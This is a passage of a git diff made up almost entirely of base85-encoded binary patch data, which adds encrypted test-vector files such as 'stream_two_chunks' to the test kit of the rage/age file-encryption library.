z@&N$C^?V>s;Yp_P4aY)F=ESLAHe7^CXD&8dd}(2!mB<_va<|cHUReNS%R}k#nrAwJ z8G4s_F;iYD4k&RP$=bs?l(G>*oDY*WTpHOqULXq-9wJ2Y<@3ut%I=bn>fPKPSh^@Z zd%;Gt7LGxT7rOz)SP5fAJdEe0Fr=&e;X<6`?9#CjpdYYbi{=8nc;|l!Ao&a412iBMGUwg6+-ySUv9=Gv zWFd;g?t$P(Wwyvk?y`w@c#UVH)g5BWKc}Jm&OKdRhmVA=l?#hzjVBu;^wBI` z``%ElB%Xg<1q0~fWel!7+@A*es!wLXoM-8YF6mXqio@1FL(@3aCG!#sog^+!S#S0t zB2TIIp3JZ^$Svn*w6x+(8fMg%n#-VK zqB)YN5*7;54JsJ{y8hO;nNXZT za)Jf;a)1wc4}kQw@^-yjHc6=~K6?96h3BrAkJcS%6j*I^-gI=o^z)x~bw$6Pil&?$ zFWj{{A3IR3v%mJN@8Rte8f~rU;qikbbIB4XiVODTK0#ve#$)6DYI`hmG?Qq24Ag^bAZ) z=WJG*x0o^HgM|8YLDpLd)eR&-d(*F8C5vbHc1l!$Wg|N$+3II02bNdMUcwQIj@wY8 zVQ512LI5XK4{7p9?_Tep-SXTgO;1bYsu^;ay+HQ?iBT0b9#v;gtm$thi&i7jhE}tM zILsLr-sg-~1W583&>RdHkgcYYW$cBIj~mvC&gW4wNq(IFVbgeCxfZE&&8G+WXgxb5r$ z4!gG_5VR|*p)*Sx0P)XL9WBisJDg_viEr-9x!Q!0hg9T6Jo{#bTB>`!%u6JIHr+GF zz(kED(v=xhoMaB1l)&33i9QLcnZaZ&N)}rNT#u=8@oujLGE@&j$n~Y#BnO2`#`1_{ z?DWbzEoSI-+$fE>=@)U8yXMcgpfi)rgO#$AAvS3&!IVmILPIHoCRH zjb=@XDC8Z|u;Z1aJYJ7@0FfIC_B{(Xlt7Z$49nzX*LoR8G1JTx`BiFSRar}98XB(YL;T` zl3TF>k0gxQufjlSii-y28TRPH8*jnx-zD34uHM!^jO6pYv`B5k>)rFc-s2)Z2hsKY zVt|)R+FO$V#h{2svWn1CN^cPrHQlLj@h-2%N~)skoxl($?a4`PS5zbcagZ#j&~a&) z87?Y>f)8%X7=|O+k#K`Z6&#a9uZYuL6p>iopj0 zxBPMWB}S2h{I>R`pTsolxn5eJ?WE!Xg-48^e9zEfTQWvkCHSz$vMO^mhD5lgWDF68 zG3=5s8!t1s1{xF3KlFABggC@kAn8@7`Nz1_TD?V{5EqlbRf!btYkj7H?K*H>M-NQ* z@FNjuxVveu-_=+$8e{a_Q0+g1Q{+u}NOfbtt|4TmjjBO*+fP;+8VQBtIX<=cDZ~yl z?U;{5CCVt+%fkvL0ZwaxT+A0#$+{Z*ZNRqmh#&?AjKJL}F1u*Ck5w$tEY(CRpJ#-& zQd`>adqK7Ux)g@1NfEZQX{2i)&w!LCEwE3-i=eC{85`DYr*ATG?0vkc^4YJVcP4`u z0jyiMYM~;I+8^ux#jD2@WQ9R=>kPVlTT;Ox6{nSsu-up>8LiPRi_-%FxFA+Lc<8mw z>$wRS)T!fDl{8e%PruNp$%5y^2=Q~wZdQLA80}uK^eT(5Lt$Z?)D$tH_f299bV$xb zz?2MyecbymAbLDLX_kkqEV``}ho;DD1%HRct_lI&XQ}~2n0Sx>1l%b-=x2lny#ey6 zpde3sF%N^fHf-yb!ppnQp4fv%wIyJtcsOOoz^0`4dpxSc07|O{4Of>Za9aAds3;1Zu70IW z0KA+*dB=M(`J(2)wcJR~Ll|;s2}DhT^LctS;nxG5{GuN#SnSK5eYx!~l)+m_Yr+0z z_JM+D4QtxJ*X9laVl6%W>g@nd4puih)C_!4AKi(jEMOk%^cT(}bt0_aR>@y6&ADse z&haI7{H!^soOOX_GrWQ1%A1cpJXeQQq6e-U)C+J+k~cjI%c!Xxm?Px;8)nwx z%4o8h9(YMn%yVAzhM%{WfXk7}2mCehYnx0k^>;_|Z4~nqZcBFEHYo{2y}Yc9mQ;+#Ud)mb8D-%p+?d3 z8Y|mB2DK&xDHz6S@U6dJfFmbwAPVsVvEqZn%{Ew2InHm0jXN`tGxOBMpM5PzKO#Yc z51TF4agu@!kq5{KF{NK~C1?}PR=@k#FM+?~+XkZAMC*9VCUjvj#fcQ4t~zP?Lzj zWz*sYU_KGcXMPUXNZm}&te;ZFTxkIV^eEPS0j3~E@JV&Ap2b#@ab9ZAD)1{Rst&W) zJjgVW9eZ?=Eb*YYEk+bVpE3G{qA9*heMQlOqudN%P5Salt$MK_>j)&#rXp{rSiM{pAA`9tv_b$}lp zk+t3h{Bb~_t9w>0eAxwj0cXp2F}m>r#gnsBeXlOIr@5-vOsATgxx}^z>sowAq`~$* zp11R}{j^gcytcUT^vuy1AwlHdo$bgzJa+*-10or(BsgU}X!dy6_r|bbCjPB+rdiJL zPWNH{PII}irL)EOcl<}}2@QJCo#8V+rDIj`Js8dst}p}uMG`2QoSIL|ImvkF%}55J^q3GkR!g=nr`KGu{F4I|O=| zf4B~p&wq*gKsi}dijW1~bcE9r>0kOICONmTV=leg2jp%#8!%=6=oCvWZ8k9=k1pF{ zC9N6pAqDN#DSe7@Bi}bBE{{@!tGXlj6rl5*p8H(@vRF6;RGJHIGaweZe1; zjGGT2@2?r$W^GXv6lXTUSo`mZ3FL~sJ#FwO2*SUQ^iFadlbwzyr&%yYDgi*q&Hx_C z4jUY9uZ=)wK1Ss;s%f5^w*HygM>%zvYDT?|?_r8uNKF5*@#oE>1$Gl6%lO6r7C2X7 zA-LI#D;6E{0i|LN56tKJI@vs&K;J}g6CAf?qAlHKJec|!U2)vV;(qAiHWiwyHgGY@ zcqnBy)G%FddOKOYuKfL!a3e}s{kNbJCG?k=lxzCI@iVnf< z=tcg;I#@oi)o~kvc;Emb1#Nm#4 zhPJCZ!&Q9+-DND$2BrukHm{_3j}*`Yn)88+QZCN^kwUbGZKb>v#HMz!LCT*ba2kdm zSl2BkkPCfdNDKmi3Gv|b5rqbdbV;th{ESM$wWFt6ooDt*uI@qOYtnHnp2qEhaxgtd zeHin)^hkTyNqon?DjZri>jNq zOn3FzX>8oDNal~ATSs4OO3cx!Yse_|{a+rr&p`Z*0qW1kw2$-lk6M&rQoMBI{TC0?I+9g z?h}oBw-le_C=dWMiD5QSUfopf07@twFCN@7E4O^Sp%L#bGFK(%?;Xg*dNgV<8PLVXJ*i+6HJHj_RRKAW{|A22@q`-$+(s}+Y36PrFvMd73Ond&NwsCXf zMbde6qtrvg&LVaLO`ik6SulmFn?#sRKIJF5Rg2^C{<%M0%^t?U70mDcBDn zO$M@OsBr~{fWU5(Ma^&(0%IF)~?OQI7vrUwT>fEFD;V`?R1pDbsURK;E?hbp1Am{)7C$mk2* z;owC#X9Mo;V2vSAFG0FvG_ZLWH1QX3CV08yMgL}>FaadkzH(?mHi+}pDST#Rz!0`+ zQh7f3X&&`*H3Pb_Aq;t@TJLvYn$E1_k&ch`K+F@rmcP6vC05ydAM4s#+K{%ZKfpw7 zh-DHbq`d~FSOM}nc~vNLN&}fa)h_wFun>ZUk*V^bL@dG`P(Qn;&7*4EA(qnmI)Vn8 zY_Tlz4Nsr(G?@HI&~bGSq4>sXNAPcV5Uz5=Eqmm$h`?4WgSln`=KX;ZNPoV@Ng zrwuLzfA7e?PIwq_gPfpy88Y*UuuG!^On6zgClH``de|!l9~n_{qNDtKq6-pi!xKIR z^Z&(1I={V6$OCqk146?#*jlTq#qLm_%j>H-YtiNHACDP}G@Nt5vMCl|DiLqwj7fiLLrjWF>&N>5e*{$W{rd34kevvv3<7F63LjDtA{^rypd;@7 z29l^i4a+OyG-r~n(3b&iTF3B5q)#FQ0}oSr_p83n&i=iB-9M~>{u*o!(1)c?{M|4> zOf4HA^L=`2ER`C2OK}!v5{jpY6o8r#8YWF#$f9j|9y!Ch+?uqkQ-eUGPfH<)-C)X8 zl!`hc;=~9U)877j4Yos>|23G#K*UVrPl3F5XiD(dTF)K>aXP9ni&g15{*O@5n;MUg zUF@iq^iWY+KF2UfL`{<&jW)?@jLlj-Rm}?d#flmSKZpUXA;_a^C=V%T!y8(IQ(mpb z`1#Dqp3EN60jf|Rl1gePAky+bfA?Fc#A)A$W9+cz6A(@+ z{m25}=s%OY<=Q$JSi&7}+0=WtgRCb+CBV!ukr0=4+oASX^jaSa6Zy~ANGbsrb(FB6 z0%km`<>_pDtcT9(Y~AkhD7svFsEw7&EFRvbI5g&7<-o21s#KM_(x1G=bhW5 zKw{6eKSy1w3KT}`b&Fjlja*n;H(0Ng(UzElW=}0`vS|D*63q+6ZKr|@${~Khsw|59 zB&K?CFeSqFxo!fy8|U7(!ly6|B!CyISjvqw#zj~cp0u^DVE(0&`D2d<9mY>Qh5*Pe zA^fViJn=DEcZ$Zj3j=i3&ca%c|e$;g$J_XLg3!X4CJgRJfRpn*hrO?6ddg}UN~opD^1?Z0gUjz*4lb_%p0>Qg4`hBn4s`Yb`VSAW;g@W@a_RQHXvyuX7eAAmue9M~_9(CHE*~p*) zBd7nrMB|dxFhlNPMwG^dqZH@)gf-`%hcJj$Oxq4h9{yL-UH}>Ly~{5ykfLh->rCMAFG5AfM+ayOZUjrW} z^Kcpp9SA?e&S~0NkC7zLMHpHrEyzCA^uO1U0e({le79lk^4tszQ`V`Qljm)KCJEQ? z<&=skZ6=e@%Qoi^Xg1`(0&lAN_=N*VlTPtF*4Kzu09N}Cbg5-<+Cf*<0J--ISADnM z;w*!pT{H}r?@r8JXG58I0PNQ8!Q4p~SoKJGyyfF!jlLvs#9`Rv6#*ck$e1h$lU zyZYM#T+>}CG3-j7{9+JE5@e!^W9}{nq+dz3F3XFFH|xN>=(;+KeD8jV63Qegcj?gu zy_BL7&bp%F0IhWCQfk}9k#YvhHB$BRm82H50|+Z4TLoZv*X4>`XKe8wgweL9HN9z- z^#m03ghiMB>$>I3O2G429EbCoONy8*Y(HKczWMkv8tRZX^&?nOEq;$ z2`u);27;Y;ItF-a;(RP$?4IUF9Ba830Jp*b`=H|m*FsSAd+Yg=^PF?OqL`CxJxg-G z``<5aO-Tb(*Z>bP72j)pwm52W`W8)QfaFvuBCJH*6UF6$d2$mj)j;kA@X{ldfxS6A zf35&0HsWbwq{aMna}xJqvY4wWSp;=fl7+pfs8ml$NNWixVC>s-h7kr*ynt79mckv>;nqn}ST z^o^#wO3bb^Y+u66@L)v=QfjGdvbBD_>Uf7Ib45B{4ZZUf4N%JU3xr1a!mM28H`rGW z{Oc)z1_CRu@O2qiJ26bfM}K}BI5w3pe;C;=H_Uq?AU*7oZMC7jh29y2n&Fxn2$8l9 z#}6M8VPyiIIH8yO7MOoEDO$+)dW2j3V!~I{z;yeptt{LqoJ|Wj+;rf!)=BKgV<9-S zQ;L5`i-(j$lk1d<0ak+}9C6jXK$d8}PslmL zG+|8}jqpw>-55x&4lUqFN$h9DHIkXTp$I(s!sI^1GBQI_Fj#_f(OmchedK%(7ZpA4 zba@?glOM?A+UMWL_Ctr7ea*f?98HZQ<&pwX180|2k$gUwX9#1N||GHH#A z3IxDn5RqMRSCy{7x87}~#mc|0?s_07bNt0Jy-5ItMXrt~U1o1L?=rfKBh(=Abrb%~ zA-~@ULJ!;H*a_jci7Ej(g6#)_`{i+g=+K79_q(LPeSCR-hDT>9aeU`YQ0_(-FM-Jx z?0Qr9(M8C@{nhAwhR2ENHq=|-b@HbCb1fQ^sK;3@3%^PRgf5~w0h6IZ8xU41SzkJH zj>yVNTqs_C$l*@%yYjPPC+%W+k6Ie%fF?0fO2fmpd{09rtsWXUyA+P8acT%yXBzXx zSaiA%aw|e5NTjU>7WB(uzf*H$upUe^cBn$obhoqf)Le1f_>B-RFDfl!oB&onL}TXp zM28|6BWM{1^N$Sgu7$Vbq(Z$0UtaDROVhxl;{DhFFZt6;tIN4|*)3-Pek0+m9sz+i zyd~jQ8n#?46~a~41+6S#sAWhAWY=)2v0bqcY3e&z^DBnf+UwYjftIXu-aEx@7`o0O z8gkS*gzhg}`gP(s*n65^JFIJBVO!AGE#rT^u;xlZX$JyzrKMmGYS6w6(c#ArhR3`X zMd@?3+T5Pu1P1!g)|DA?KpreL@$AxG9vMP7_iFaQ>=%%8BD8O^w`mEgZ8&BIHoeH) z#%nA2p`>grdY{WGviS9`SskO%(cVfRurqdjIDoFu=$&#ABx&UPOWIupD+{mj6ynT) z^BP*o!UHS>yAi-4c-L^LYcUto=jgHT!{?q6;~^K4yj}+CX^-@J8>|>wLbh9x`ymt# z6dj%ZupKh2B9%FUnT(w{3`>i~Y!5FstT|jks}U`O#m->RE4=UbpGoT!unI!G-kRlp zo%|TycP+_nxu}xW=#@g40HE*rN7-^)$j(x}B>-rTS_oM49vutXgb2n5omg`4;ijhH z960yM^!CwDxJq}O^2+gCsD)B?l29X>Au?%dM)|C}L%Bpv@&3@S=I|%rf8z%MHMF>$ zsO4%4P3R$kbhepOo%O@0V?CG;aQ(DHE|yTXM;59s_Jc~tMH3Cwb{2<{9HiSzct0G! z8mDO6D+#!{=7`{$=u9+lYdbome^q>q0AKhcf@rUOjG&wC>KviiJfV*QR3;W*ApT)a zqtMY&$6!I@w36!DA_hV3@gt7?DB@8aPyRfdR>uAbaa4&K63bBkJ@7C^|z8P^kD`r!LB zt$vM%L>74(wZjYG!?Tr_N1vti;3z^y$C~&HBC6Q#(DRWf9aE-KRnS|VE{>}uN{Wc^ z={OuGp}j|60lu58AfcBAg(b4j1GzD;R9k*JTQ{-W(8;E1CzV)brY(2RCm`c-7mPL6>z6bMnNN4fv$GJX2?0`9C9Aw0gJ6 z!6SwJI*vZ_IaL^mHQoMw9_X(N*nE+-T1>u(J`s`v5;~H5{zHHh4L2&Kh0yb?s93Wu zjO6yfJ|*X(VjUOfpuH-52nDZHEkS`$si=nW3nzZL1dogdTf&! zzzAhk_>MP_7y7_n^ON~AIim3X?>;zmOtLzl1e9nTy_1urR7(eokQpN#fB!Ibv7&^D zS0Ta8OHgUL))dSa!LxUfOUn)Rl9yYe-hnQ_{In?IzY{*2#?7q;;bkZ1%k{aNdKEGy z7oc%Q}9>nWs1sNE~!i|`aWof+g~)Md1NNhz15jGv^yfI{ixly8DZW^ zDe06}GOSqZKje2WP)1VJ>%mQdeqes*thsPbA=dF6fHa&!#mG6oBF-<2ddh9e&;RXC zLJ3Wf$A{t4`u`eaN|!;}NQ?W}GFmhJK-TEjIPrQ1?az9AsQ1(A4f=0;a)unV)O$nC z5SV@fBphDXi_>J}yG{jL7_k0EXj)a;jS4pp-&yfNgv`ac4wdXldr%>RjC)Gbcc`fb zy^8A=2EViTi9u30#45GiyK!qv?4Aij#OFss+McytHfcsuvh#$1ms5!SDsaI@UYGJ< zfG;9*z+oy+5^NxIe@Y?4-ZNCLptlGNO>)OPQS2^Ay8E&7-&ysa+hpab zuEJ#wHj@8{v^PwM+y=gV29x7R_|%e|Y$weB?5feay8^K6_%xPiQkZ$K@31`wUKoh9 z1jA(;Um!Zjz2<&^1H;%38jEYHOH3h;^iWEZbVC_q;@-=G#O5mH7yxz@G?Of4Zrvwa z=-h|X_p)R*SU$#Q3r$0kPck(G=Cg~vAr4EE{hN812C+Qy*n>~b%j0pBdW9BK??|aO zT-B$v=nVWYB72ggIlb82OL%h%OFyO(K4DrZI>qg@)7pS2uT?;&rj)3vT^ezH3CQ(6 z-~9KS=*F2ngd$t!8tS5qYRd zZjkS2p!@`toK{_kZLf~!7-%cOd7-L7qwm_Gpuf*`glsxc+t!q{U9tHwn^pIe%Q!T1 zyma0)hUJ!8FcAgxhYeZ3Pzk4xYYyi99&mB;g+HPI7K6&nayTz)+0;+zn@ApjKPUia z8K+5!46Vi91SW0a%Efg%x@f7#Mu+C7DQg}t>MJEh!5sMS)@Ahr<^zKj);bNNCG@*J z&JZEA{dR}p9E%m-H8Bya5xPxpq9{|l5twW01~XSmV9G9Srb}v9@!JdTV5DCQoq3A` zg!7|U@dKx`AHW)eCL&I=Ld0X+bb>WDeLb>9OZW>8QIRvIJ?7^}uCCssE?7Kv(Y9if z6jPBsQvYYX27}VuO^mE&rT;azNeW{809OO4slnXG*xG+580X)a$&DsfFAAKot`GT8 zu@ii+vN@g!J)?)o9J4Dy%MRNcdu#eB&Lzpq*s*XZhtgmpk7>m;_5EnNt|5v-W<7$3 zN}Vo6Z`x%=ub_1sQHL*?9O~uVo7EW0>px(8gO$KzdL;H0js?YSD<=B~do+Dx($I_W zDJ#`QjTK-ZBj}IhtpYZn05~5tWj(6?7WIduAPDsm$d&RA(T9Y=CQ|_k=cNAx zeV!R2pAvJo?v?5=dbgHo8ifY#P@vw{B}Vq>G~ss80vH+2Vz9O8 z)NEi@?(tLFn?U1#p{^=ilm+)vtdz8FcG zoN>0k{JVmuv;_V_fggbO-(k>MO3rdj0u&u%Sli$hH-}vNb%-r6uA$Ka{T?$?5qV~t zI!t1XNyqq_A|w&}{q!9eD$L}+t$=@{dX*}SG5SW7aqhU_M}TS+9^7*1pGG&OQE?xA zLm}78FFm-cMVEn(gKB2taO4<&T(ZdQ(3iy_ewzQE@2gs%jpMX#AO zFD(k1zE3-De2b_GiI`4tQ1jIj4!lN!)!b^e1W716<+?EbDVQn2S&!NlS8q{Bf}CXr z9DY*_lwd`+)C`}RLRYXk^w60OlNYC!RH%|EPkD+Fzy5I0El($w>>nA0y*>LL-~qols?*@9TBxZu&?@Krv0#&driv>uVNR$Iyf1$)}Z${1kU`*wc77mR`T>w-~qf!41+W!*b9kqqQz^yj&$f}}x zGhc;Sq>oDx-)7mof&Mx{(1Ra(AHDmcnCk!J-<|`;z{+vA)pSqy95c12d5JYfOL z#V_ED|FClRe5LPyWzo5)vF~C=xW}aELVAdaaE^%_QD32~*+fUUV>O+4NJ9V!lf{s9mN@KG;VI|tUO`r=8TF9*v8!SMhu za*GKa>a5?=o9b%j*Xa$#P*k8Ki}7F9Z)*2yrbaxMp6|OSt4Sd$bgT-il=%u=L%wp@ z6KNgyk|`9B4L+?0{GDSeA0STff@8rVsTU@-cL&pfQCTWOAb-xsrA#jp|DmQ_*J& z1v2$!#Tq*fTvyLvpbibL0|`(xc=PoK9(m6>{uf6#RNjV;09zK!x~=Lzl(INaF zaY4#}yx>=J+GD0TBW2 z{uTqtiyeC!9O;mXC-0(Q$Dk3s9_#r3km8=S7+@Sb?v>#0>BeJiQV@Rj)MFPM*^B@GnMxg8??44r~R2>j< zJBio;qO+xirRR^8Tb#6F?SCK`6yior0Hd&znu;5u3!{c!@xRbAuI`PUo=khxH8)o$ z1rlWDpw#u|4leO)1ko>-UlT%{&fQ(pU>&d6gj7jaz>^HFp4|;J#gB5mqL=qok@}lx REdTD$V#m&rv@<78Xw-4Ld*T29 literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/stream_two_chunks b/lib/rage/age/tests/testdata/testkit/stream_two_chunks new file mode 100644 index 0000000000000000000000000000000000000000..8e9936df83629341dae39ddf83e0f6612de1ad0b GIT binary patch literal 131507 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 